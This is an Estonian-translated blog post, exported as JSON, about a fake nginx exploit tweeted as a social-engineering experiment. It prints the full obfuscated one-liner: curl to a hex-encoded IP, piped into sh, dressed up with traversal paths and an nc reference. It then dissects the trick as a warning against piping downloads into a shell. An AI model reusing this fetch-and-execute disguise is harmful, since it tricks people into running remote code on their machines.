{"id":35126,"date":"2019-10-31T22:02:28","date_gmt":"2019-10-31T19:02:28","guid":{"rendered":"https:\/\/prohoster.info\/blog\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\/"},"modified":"2019-10-31T22:02:28","modified_gmt":"2019-10-31T19:02:28","slug":"uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","title":{"rendered":"Sotsiaalse eksperimendi edu valeeksplooiti kasutades nginx-i jaoks","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

M\u00e4rkus t\u00f5lke kohta.<\/b>: Autor<\/a><\/noindex> originaalkirjest, mis avaldati 1. juunil, otsustas l\u00e4bi viia eksperiment informatsiooni turvalisuse huviliste seas. Selleks valmistati vale eksploit avastamata haavatavusele veebiserveris ja see postitati tema Twitterisse. Tema eelduse kohaselt pidid spetsialistid, kes n\u00e4eksid koodis ilmset pettust, ta koheselt paljastama, kuid see ei l\u00e4inud mitte lihtsalt nii\u2026 See \u00fcletas k\u00f5ik ootused, hoopis vastupidiselt: tweet sai tohutut toetust paljude inimeste poolt, kes ei vaevunud selle sisu kontrollima.<\/i><\/p>\n

\"Sotsiaalse
\n
\nTL;DR: \u00e4rge mingil juhul kasutage failide torustamist sh v\u00f5i bash-s. See on suurep\u00e4rane viis kaotada kontroll oma arvuti \u00fcle.<\/b><\/a><\/noindex><\/p>\n

Soovin jagada teiega v\u00e4ikest lugu naljakast PoC-eksploitist, mis loodi 31. mail. See ilmus kiiresti vastusena uudisele Alisa Esage \u0160evt\u0161enko<\/a><\/noindex>, liikme Zero Day Initiative<\/a><\/noindex> (ZDI) kohta, et peagi avalikustatakse teave haavatavuse kohta NGINX-is, mis toob kaasa RCE (koodi kaugk\u00e4itamine). Arvestades, et NGINX on mitmete veebisaitide aluseks, pidanuks uudis olema plahvatusohtlik. Kuid t\u00e4nu viivitustele 'vastutustundlikul avalikustamisel' ei olnud juhtunu \u00fcksikasjad teada \u2013 see on ZDI standardmenetlus.<\/p>\n

\"Sotsiaalse
\nTweet<\/a><\/noindex> NGINX-i haavatavuse avalikustamise kohta<\/i><\/p>\n

L\u00f5petanud uue h\u00e4gustamise tehnika curlis, t\u00f5in originaaltweeti ja 'kandsin v\u00e4lja t\u00f6\u00f6tava PoC', mis koosnes \u00fchest koodireast, mis v\u00e4idetavalt kasutas avastatud haavatavust. Loomulikult oli see t\u00e4ielik jama. Arvasin, et mind paljastatakse kohe ja et paremal juhul saan paar retweeti (noh, ja siis pole midagi).<\/p>\n

\"Sotsiaalse
\nTweet<\/a><\/noindex> vale eksploitiga<\/i><\/p>\n

Kuid ma ei suutnud ette kujutada, mis edasi juhtus. Minu tweeti populaarsus t\u00f5usis lakke. \u00dcllatav, kuid hetkel (1. juuni 15:00 MSK) on endiselt v\u00e4he inimesi, kes on aru saanud, et see on vale. Paljud retweetivad seda \u00fcldse kontrollimata (r\u00e4\u00e4kimata sellest, et nautida imelist ASCII-graafikat, mis see v\u00e4lja toob).<\/p>\n

\"Sotsiaalse
\nVaadake, kui ilus see on!<\/i><\/p>\n

Kuigi k\u00f5ik need ts\u00fcklid ja v\u00e4rvid on suurep\u00e4rased, on selge, et nende n\u00e4gemiseks pidid inimesed koodi oma arvutis k\u00e4ivitama. \u00d5nneks t\u00f6\u00f6tavad brauserid sarnaselt, ja arvestades, et mul pole mingeid \u00f5iguslikke probleeme, tegi minu saidi kood vaid echo-kutseid, proovimata k\u00e4ivitada ega paigaldada mingit lisakoodi.<\/p>\n

Kerge k\u00f5rvalep\u00f5ikamine: netspooky<\/a><\/noindex>, dnz<\/a><\/noindex>, mina ja teised meeskonna liikmed Thugcrowd<\/a><\/noindex> oleme juba m\u00f5nda aega katsetanud erinevaid viise curl-k\u00e4skude obscuring'uks, sest see on lahe... ja me oleme geegid. netspooky ja dnz avastasid m\u00f5ned uued viisid, mis tundusid mulle \u00e4\u00e4rmiselt paljut\u00f5otavad. Liitusin l\u00f5buga ja proovisin lisada IP-dekimaalseid teisendusi, et tuua kollektsiooni uusi trikke. Selgus, et IP-d saab teisendada ka heksadecimaalsesse formaati. Veelgi enam, curl ja enamik teisi NIX-t\u00f6\u00f6riistu v\u00f5tavad heksadeb\u00fctelid j\u00f5uduga! Seega tuli lihtsalt luua veenev ja turvalisena n\u00e4iv k\u00e4sklus. L\u00f5puks j\u00e4in ma selle juurde:<\/p>\n

curl -gsS https:\/\/127.0.0.1-OR-VICTIM-SERVER:443\/..\/..\/..\/\/nginx-handler?\/usr\/lib\/nginx\/modules\/ngx_stream_module.so:127.0.0.1:80:\/bin\/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc \/dev\/tcp\/localhost<\/code><\/pre>\n
<\/p>\n
Sotsiaalne-elektrooniline inseneritehnika (S.E.E.) \u2013 rohkem kui lihtsalt p\u00fc\u00fcgimeetod<\/h2>\n
\nTurvalisus ja tuttavus olid selle eksperimendi keskmes. Usun, et just need aitasid sellele edule. Komandliin vihjas selgelt turvalisusele, viidates \u00ab127.0.0.1\u00bb (k\u00f5igile tuntud localhost). Peetakse, et localhost on turvaline ja sellele salvestatud andmed ei lahku kunagi teie arvutist.<\/p>\n
Tuttavus oli katse teine v\u00f5tme S.E.E. komponent. Kuna sihtr\u00fchm koosnes valdavalt inimestest, kes teavad arvutiturbe aluseid, oli oluline luua selline kood, mille osad n\u00e4iksid tuttavad ja harjumusp\u00e4rased (seega turvalised). Elementide laenamine vanadest ekspluateerimiskonseptidest ja nende ebatavalisel viisil kombineerimine osutus v\u00e4ga edukaks.<\/p>\n
Allpool on \u00fcksikasjalik anal\u00fc\u00fcs \u00fchekordsest k\u00e4sklusest. K\u00f5ik sellest loendist on kosmeetiline<\/b>, ja selle t\u00f5eliseks t\u00f6\u00f6ks ei ole peaaegu midagi vajalik.<\/i><\/p>\n
Millised komponendid on t\u00f5eliselt vajalikud? Need on -gsS<\/code>, -O 0x0238f06a<\/code>, |sh<\/code> ja veebiserver. Veebiserver ei sisaldanud \u00fchtegi pahatahtlikku k\u00e4sku, vaid edastati ASCII-graafikat k\u00e4skude abil echo<\/code> skriptis, mis sisaldus index.html<\/code>. Kui kasutaja sisestas rea |sh<\/code> keskel, index.html<\/code> laaditi ja k\u00e4idi. \u00d5nneks ei olnud veebiserveri hoidjad kurja meelt.<\/p>\n